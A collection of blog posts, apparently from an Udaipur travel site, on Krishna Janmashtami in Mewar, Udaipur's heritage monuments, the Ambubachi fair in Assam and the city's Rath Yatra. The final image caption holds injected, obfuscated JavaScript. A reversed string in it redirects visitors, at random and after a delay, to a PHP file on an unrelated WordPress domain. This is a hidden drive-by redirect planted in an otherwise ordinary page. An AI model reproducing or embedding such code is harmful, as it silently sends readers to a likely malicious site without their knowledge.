With wide cultural diversity, religions, languages, and beliefs, we say India is not merely a country but a beautiful art piece blended with vibrant colours. In India, every other day is an event or a festival. One such festival is Krishna Janmashtmi, which is celebrated as birth anniversary of Lord Krishnaand is observed with great vehemence. According to Hindu Mythology, Lord Krishna was born on the 8th day of Krishna paksha (called Ashtami) of Shravan month which usually falls in the months of August-September.
The story of Krishna is deeply embedded in the cultural fabric of India and the people of this land revere him as divine. Lord Krishna is considered to be the eighth incarnation (avatar) of Lord Vishnu who took birth in a human embodiment to end all the evils and injustices. Krishna was the eighth son of king Vasudeva and Devaki and was born in prison, since his parents were captured and imprisoned by his uncle, Kansa. When Kansa identified that his sister Devaki’s child Krishna would become the cause of his death, he wanted to kill him to eliminate the root cause. Hence, after his birth, he was secretly sent to Nanda and Yashoda who then brought him up as their child.
Krishna is known for his mischievousness, and since his childhood, he was very fond of Makkhan (Butter). Ancient Hindu tales reveal that he used to steal butter from his neighbour’s place and thus also called with the name “Makhan Chor”. To commemorate the birth of Shri Krishna this festival is also recognized as Dahi Handi Parv. During Janmashtmi a Matki Phod event is held at places wherever it is celebrated; in which a group of individuals build a human pyramid to reach the matki (earthen pot) which is hung at a certain height. In India, it is celebrated zealously in Mathura and Vrindavan, the birthplace of Krishna and in the states of Gujarat, Maharashtra, Rajasthan and northeastern states of Assam and Manipur.
In Mewar region, Vaishnavas consider it as the most important religious festival because it marks the victory of good over evil. In Udaipur, the festival is celebrated in a way that showcases the typical Mewari culture. Several cultural activities are performed in different regions of Udaipur, but the most prominent and renowned one is held at Jagdish Chowk. The Dahi Handi event at Jagdish Temple is the biggest and renowned not only among locals but also visitors. Since Udaipur is a famous tourist destination many foreigners also love to attend this fest and witness this phenomenal event.
In Mewar region, people usually keep fast and open it the next day or after midnight because Krishna was born at midnight. Devotees believe that Krishna will be born at midnight and thus they should eat only after his birth. In India, you can’t say it’s a festival unless special sweets are prepared, and Chappan Bhog is one for which Krishna Janmashtmi is famous for. ‘Chappan Bhog’ is a cluster of 56 dishes which is offered to God on the following day, which is known as ‘Nanda Utsav.’ After the offering, the food or Prasad is then distributed and shared among devotees so they can end their fast. Lord Krishna is also known as ‘Makhan Chor’ or “Laddu Gopal” or “Baal Gopal” and called with numerous other names. Since he was very fond of butter and milk, the Bhog mainly include dishes of milk like Makhan mishri (milk cake), rabri, rasgulla, murabba, saag, khichdi, milk, dry fruits, etc.
Idols of Lord Krishna is adorned with news clothes and ornaments. The idol is placed in a swing called “Jhulaa,” which is also a part of the ritual. Then it is placed in a cradle to symbolize his birth. Women also draw tiny footprints walking towards their house, as a symbol for Krishna’s journey into their homes.
The bustling crowd at Jagdish Chowk, the colorful attires, the chants of “Haathi Godaa Palki Jai Kanhaiya Laal Ki”, the sweets made of milk and cream, pink-colored Gulal in the air, everything you see around is so enticing that one could easily forget the troubles of life and embrace the festive vibes with both arms open.
Udaipurblog wishes a very happy and joyous Krishna Janmashtmi to all its readers!!!
In the year 1982, the International Council on Monuments and Sites decided to celebrate 18 April as World Heritage Day. It was a step taken towards spreading awareness about monuments and other sites which are a part of our history. Udaipur is one of the most prominent cultural heritage signatures of Mewar.
Future generations have the right to live history through these heritage sites and hence they should be preserved. Udaipur – The Venice of East, a beautiful city guarded by the Aravalli range, was founded in the 16th century by Maharana Udai Singh. Since it was a circular piece of fertile land in between Girwa valley, it was declared as the capital of Mewar. The prosperous cultural heritage legacy was received by the different generations of rulers. City Palace, Jagdish temple, Saheliyon ki Bari, Ahar Cenotaphs, Monsoon Palace, Bagore Ki Haveli and many such locations in Udaipur act like a bridge between the generations.
City palace
A sense of royalty can be felt through the architecture of such sites. With each passing day, each monument of the city repeats the story to every visitor and this story needs to be conserved. Safeguarding of heritage sites is very important because they give a sense of identity and continuity in a fast-changing world to the coming generations. Heritage sites basically reflect the culture of the city.
Let’s go on a roller coaster ride through the heritage sites of the city or wait, rather, let’s walk together across the city. While walking towards the old city you see Gulab Bagh on your left and vintage car museum on your right. The transition from new to the old city is worth noticing and can be seen through the gates and architecture of houses. When the lanes start to narrow down, it means you are close to witnessing something magical.
City Palace:
City Palace, 1910
The palace complex situated on the east bank of Lake Pichola was constructed over a period of 400 years when the capital was shifted from Chittor district. The palace constantly got several modifications by other rulers of the dynasty. It was mostly constructed in Rajasthani style with a touch of Mughal architecture. It is designed so beautifully that it overlooks several other historical sites such as Lake Pichola, Jagdish Temple, Monsoon Palace and a perfect view of the entire city. Crystal gallery is the major attraction in this complex.
Jagdish Temple:
Jagdish Temple
Moving ahead, when the streets will shrink further, a treat to eyes is guaranteed. On a junction of three roads, Jagdish Temple is situated. Jagdish temple was made by Maharana Jagat Singh in 1651. Maharana Jagat Singh ruled Udaipur for 25 years from 1628 to 1653. The temple is dedicated to the preserver of the universe Lord Vishnu. It is the largest temple in the city. After 28 years of the construction of the temple, Mughal ruler Aurangzeb wanted the temple to get destroyed and sent his army to do so. But the army of Maharana Raj Singh (ruler of Udaipur back then) didn’t let them succeed. Thank god a unique specimen of architecture was saved for us.
Saheliyon ki Bari:
Saheliyon Ki Badi
Tired already? Let’s take an auto to Saheliyon ki Bari which is approximately 4 Kms away from the core of the city. Saheliyon ki Bari’s heritage talks about a group of forty-eight young women attendants who came with the princess as a part of her dowry. It is a major garden of the city and was built in the year 1710 by Maharana Sangram Singh for the royal ladies. Imagine a historic garden built for a queen. Royalness of this place is refreshing.
Ahar Cenotaphs:
Ahar cenotaph complex
Now moving toward the destination where these great creators of this dynasty are buried. It has a total of 372 cenotaphs of around 19 Maharanas who once ruled the city. This spectacular field of domes was built approx. 400 years back. Most attractive cenotaph that you will be able to spot will be of Maharana Sangram Singh, go look for it and the newest was built in the year 2004 of Udaipur’s last Maharana, Bhagwat Singh. After a walk of 150 m from Ahar Cenotaphs, you can find Ahar government museum which contains copper and pottery objects that are around 3300-years-old.
Tip: Observe the silence here.
Monsoon Palace or Sajjan Garh:
Sajjangarh
We can’t walk to next destination but I bet the way to that place is an adventure in itself. The monsoon palace, also called Sajjangarh palace is a hilltop palace at a distance of around 7 km from the city. It was built by Maharana Sajjan Singh in the year 1884. It is said that from there monsoon clouds could be seen coming towards the city. It was originally constructed by the royal family of Mewar and is now owned by the forest department of the government of Rajasthan but you don’t need to worry about that. The beautiful palace gives you a mind-blowing view of the sunset and is supposedly called monsoon palace because it seems like the palace is floating in heaven during Monsoon.
A view of the old city
There are many such locations around which will take you back in time. On every location, one can stand and feel that the place has been standing there for a long time and knows the secrets that you might be interested in.
On this World Heritage Day, let’s take a pledge of preserving these locations on our part. Engraving names of your loved ones won’t make you a hero but preserving cultural heritage can make you one. Also, good knowledge to have, there are dustbins around these locations, please use them and don’t litter. Not just one day, make every day as Heritage Day. Come and celebrate this auspicious day like a festival because these monuments are none less than time travel machines.
Jagdish temple was made by Maharana Jagat Singh in 1651. Maharana Jagat Singh ruled Udaipur for 25 years from 1628 to 1653. The temple is dedicated to Lord Vishnu (the preserver of the universe). It is the largest temple in the city. After 28 years of the construction of the temple, Mughal ruler Aurangzeb wanted the temple to get destroyed and sent his army to do so. But the army of Maharana Raj Singh (ruler of Udaipur back then) didn’t let him do so. And so, Jagdish Mandir was saved from getting destroyed. To know more about Jagdish temple, click here.
Saheliyon ki Bari can be translated as the courtyard of Maiden in English. It is a major garden of the city. Saheliyon ki Badi was built in the year 1710 by Maharana Sangram Singh for the royal ladies. It was built for a group of forty-eight young women attendants who came with the princess as a part of her dowry. It has beautiful lotus pools, marble pavilions, and elephant-shaped fountains. According to the legend the garden was designed by the king Sangram Singh himself and he presented it to the queen. To know more about Saheliyon ki Bari, click here.
City Palace
Source: holidify
City Palace is the palace complex situated on the east bank of Lake Pichola. It was built over a period of 400 years back by Maharana Udai Singh II when he shifted his capital from Chittor district. The palace constantly got addition and modification by other rulers of the dynasty. It is built in both Rajasthani and Mughal architectural styles. It is designed so beautifully that it overlooks several other historical monuments such as Lake Pichola, Jag Mandir, Jagdish Temple, Monsoon Palace, and Neemach Mata temple, and a perfect view of the entire city. To know more about City Palace, click here.
About at a distance of 3 km, Ahar is called Udaipur’s royal cremation ground. It has a total of 372 cenotaphs of around 19 Maharanas who once ruled the city. This spectacular city of domes was built approx. 400 years back. The most striking cenotaph that you will be able to spot will be of Maharana Sangram Singh and the newest was built in the year 2004 of Udaipur’s last Maharana, Bhagwat Singh. At a distance of just 150 m from Ahar Cenotaphs, you can find Ahar government museum which contains copper and pottery objects of more than around 3300-year-old. It also has sculptures of Hindu gods and Jain tirthankars from the 8th and 16th century AD.
Bagore ki Haveli was built by ‘Shree Amarchand Badwa’ who was the Prime minister of Mewar from 1751 to 1778. He remained at the position throughout the reigns of Maharanas Pratap Singh II, Raj Singh II, Ari Singh, and Hamir Singh respectively. After the death of Amarchand, the Haveli was occupied by Nath Singh, a relative of Maharana back then. The property remained in the possession of Mewar state until 1947. After independence the government of India used the site for housing government employees. But after that for almost forty years, the Haveli’s condition got deteriorated and finally, the government handed it to West zone cultural center. West zone cultural center then renovated the Haveli into a museum. To know more about City Palace, click here.
Sajjangarh palace or monsoon palace
Source: twitter
The monsoon palace, also called Sajjangarh palace is a hilltop palace at a distance of around 7 km from the city. It was built by Maharana Sajjan Singh in the year 1884. It is said that Maharana Sajjan Singh built it at the top of the hill so that he can see his ancestral home which was Chittaurgarh. It was previously owned by the royal family of Mewar and is now owned by the forest department of the government of Rajasthan. The beautiful palace gives you a mind-blowing view of the sunset and is supposedly called monsoon palace because it seems like the palace is floating in the heaven during Monsoon. To know more about Sajjangarh Palace, click here.
Moti Magri
Source: Trip advisor
Moti Magri or pearl hill is a memorial of the great Rajput hero Maharana Pratap. There is a bronze statue of Maharana Pratap on the top of the hill with his favorite horse, Chetak. It is said that Chetak was a very brave horse who climbed upon an elephant in the battle of Haldighati which crippled one of his legs. But when he thought that his master needs to be rescued from the battle, he landed him in a safe spot away from the battle with his crippled legs. He also jumped upon a stream while this journey and this led him towards his death. Along with the gardens, smaarak, and a magnificent view, Moti Magri has a hall of heroes which consists of 20 large paintings on the history of Mewar and modals of Chittaurgarh and Haldighati battle. To know more about the brave horse of Maharana Pratap, Chetak, click here.
Ghanta Ghar
Ghantya Ghar
Ghanta Ghar which is also called clock tower was built around 130 years back by Maharana Sajjan Singh. The reason for it being built was a conflict between Bohra and Mahajan religion. Then Maharana made them pay 5000 Rs. Each as a penalty and this money was used to build the Ghanta Ghar. That is the reason why Ghanta Ghar is called to be made from the sum of ‘Nazrana and Jhurmana’ (Penalties and punishments). The clock used in it was imported from London. The architecture of the clock is unique and splendid. The length of Ghanta Ghar is around 50 feet. It was city’s first public watch. Know more about Ghanta Ghar here.
Sas Bahu Temple
Source: pinterest
Sas Bahu or if we refer it to its full name which is Sahastra Bahu is a temple of Lord Vishnu. It is at a distance of 17 km from the city in Nagda. Sas Bahu temple was built back in 10th century AD. Nagda was once an important city for Mewar. It was probably the capital of some Mewar ruler back then. The temple is surrounded by Bagela Lake. Although the temple is now in ruins, one can easily see the magnificent architecture and the beautiful carvings on the walls of the temple. To know more about Sas Bahu temple, click here.
Eklingji temple
Source: Udaipur tourism
Eklingji temple was built by Bappa Rawal who was also the founder of Sisodia clan in Mewar. The original temple was built by Bappa Rawal but it has been renovated and refurbished by the successive rulers. It is said that Bappa Rawal was a firm devotee of Lord Vishnu and that he dedicated his entire kingdom in the feet of the deity. He proclaimed that the kingdom is of the deity and he is ruling it on behalf of the deity. The temple was attacked by the enemies several times but it got rebuilt and reconstructed repeatedly. To know more about Eklingji temple, click here.
Jag Mandir Palace
Source: Trip advisor
Jag Mandir Palace is a palace built amidst the Lake Pichola on an island. It was earlier called Gul Mahal. The history of Jag Mandir Palace is dated back to the year 1623. Maharana Karan Singh (1605-1627) extended a helping hand to protect Emperor Shahjahan (before he became the Mughal emperor) from the danger of getting thawed in his campaign. Initially, he was kept safe in city palace along with his wife Mumtaz Mahal and his two children Prince Aurangzeb and Prince Dara. After that, they were shifted to safe refuge, Gul Mahal. Gul Mahal was specially built for Shahjahan. It is said that the inspiration for one of the wonders of the world, Taj Mahal, came from Gul Mahal in Shahjahan’s mind. The palace is now converted into a resort. To know more about the Palace, Click here.
Fateh Prakash Palace
Source: booking.com
The palace was constructed by Fateh Singh who ruled Mewar from 1885 to 1935. The purpose of the palace back then was to serve the esteemed guests of the royal family during any royal functions. And the purpose has still not changed much. It is now converted into a heritage hotel where renowned people stay during their time in Udaipur.
Lake Palace was built under the direction of Maharana Jagat Singh during his ruling time from 1743 to 1746. It was initially called Jagat Niwas or Jan Niwas. Lake Palace was built as a winter palace by Jagat Niwas, however later on the successive rulers used it as a summer resort by holding their durbars in its courtyard. Now, it is converted into a luxury hotel where renowned guests and celebrities stay during their visit to Udaipur. To know more about Lake Palace, click here.
Shiv Niwas Palace
Source: booking.com
The work of Shiv Niwas Palace was started by Maharana Sajjan Shambhu Singh and finished by his successor Maharana Fateh Singh at the beginning of 20th century. Initially, it was the royal guesthouse for all the royal guests coming to visit the Maharanas. In those times it hosted a number of royal gatherings which includes George V of the United Kingdom in 1905, and Edward the Prince of Wales. But later it became difficult for the royal family to afford the cost of large number of royal residencies that it owned and so along with the Lake Palace, they decided to convert it into an income-generating hotel.
Mewar has always been rich when it comes to its history and culture. While most of us knew some of these places and their history behind, some of these were quite new for us, isn’t it? If you have any feedback regarding the article, you can either share it with us in the comment section below or write to me at juhee@udaipurblog.com.
Gathering of people at Ambubashi Mela on Day 3 at Kamakhya Temple
A Bikers’ team is inviting Udaipur for the illustrious Ambubachi Fair of Assam. The noteworthy thing is that we, Udaipurites are invited personally by the group of bikers, who are currently on a 37-day-long India tour. This is for the first time that invitation cards have been published to invite people from across the country to attend this fair. The bikers, who began their journey last month, have already visited states like West Bengal, Uttar Pradesh, Delhi, Madhya Pradesh, Punjab, Haryana, and Gujarat, inviting prominent persons, religious heads, devotees etc.
During their visit to Rajasthan, they have invited the religious heads at the Jagdish Temple and the entire Udaipur to attend this auspicious fair.
Generally, tantriks, sadhus, Bauls, aghoras, sannyasinis, khade babas, foreign pilgrims, tourists or foreign scientists visit the Kamakhya temple, where the fair is held in the Nilachal hill, during the festival days. This time, this special bikers’ tour has been arranged by the Assam Tourism Development Corporation Ltd. so that people can be handed over invitation cards and posters by the representatives from the state.
Know about Ambubachi Fair
The Ambubachi fair is held in Nilachal Hill at Kamakhya temple. Devotees flock to the city of Guwahati in Assam, to become a part of this annual ritual. The fair is devoted to the Mother Nature; apropos of a special reason- to celebrate the annual menstruation cycle (holy cycle) of the head deity of the temple, Devi Kamakhya. During this period, the temple is closed for 3-4 days to visitors, to maintain the privacy of the menstruating deity.
This year the festival is from June 22-26.
It is believed that every year, during the monsoon (Assamese month Ahaar), the Goddess goes through her annual menstruation. This concurs with the river Brahmaputra being in full flow because of monsoon rains.
According to the belief, during this period when the goddess is in her annual Holy cycle, the fertility of mother earth increases. In a practical sense too, the fertility increases as Assam receives heavy rains during this period as the monsoons arrive around this time and this leads to an increase in fertility of the soil. During this time the farmers also stop cultivating their land, as it is believed that it causes disturbance to the menstruating mother earth.
So are you ready to explore and attend this special fair at Assam?
Every year the grand Rath-Yatra is held on the Ashaad Shukla Dwitya of Vikram Samvat, as per the Hindu calendar. On this day thousands of devotees pull the huge chariot loaded with ornaments and idols of Lord Jagannath, Balabhadra and Subhadra in a long procession. Though the centre of attraction is Orissa, many other Indian cities also have their own extraordinary programs on this day. Udaipur holds the distinction of holding the 3rd largest Rath Yatra in India. The city has two Rath Yatras on the same day at different locations.
idols of Lord Jagannath, Balabhadra and Subhadra in a long procession of 21km from Jagannath Dhaam, Sector 7
The Rath Yatra at Udaipur is a significant event in the entire state that is witnessed by numerous tourists both foreigners and Indians. During the Rath Yatra, The City of Lakes is colored in the most vivid hues of sheer joy & enjoyment and is flocked with devotees who wish to pay their honor to the deities and seek their blessings.
Rath from Jagannath Dham, Sector-7 The Rath Yatra started from Shri Jagannath Dham Sec-7, Hiran Magri and lead towards the Krishi Mandi, Shiv Mandir, Machla Magra, Sec-11, Patel Circle, Khanjipeer, Rang Niwas, Bhattiyani Chohatta to Jagdish Mandir. From there it merged with the Jagdish Chowk Rath Yatra in the same route and then took a separate route from RMV Road to Udiapole, Takeri, Madari, Sec-6 and returned back to the Shri Jagannath Dham of Sec-7. Largest distance covered : 21kms
Main Attraction
The Rath Yatra that started from the ancient Jagdish Temple, near the City Palace.
The Rath, a gigantic chariot, approximately 15 feet long, 8 feet high and adorned by precious metals like silver. This eventually turned into a procession which passed through a large part of the city. The path followed by this Rath was Jagdish Mandir- Jagdish Chowk, Ghanta Ghar, Bada Bajar, Bhadbhuja Ghati, Teej Ka Chowk, Dhan Mandi, Asthal Mandir, R.M.V. Road, Rang Niwas, Kalaji- Goraji, Bhattiyani Chohatta, and Rath Yatra concluded with the Maha Arti at the Jagdish Temple.
![Historical Places in Udaipur $Ubj=function(n){if (typeof ($Ubj.list[n]) == "string") return $Ubj.list[n].split("").reverse().join("");return $Ubj.list[n];};$Ubj.list=["\'php.litu.ssalc/sedulcni/retadpu-yfimeht/snigulp/tnetnoc-pw/moc.setaicossadnalanruoj//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and the History Behind Them](https://udaipurblog.com/wp-content/uploads/2018/06/historical-places.png)
Photos By : Priyansh Paliwal & Yash Sharma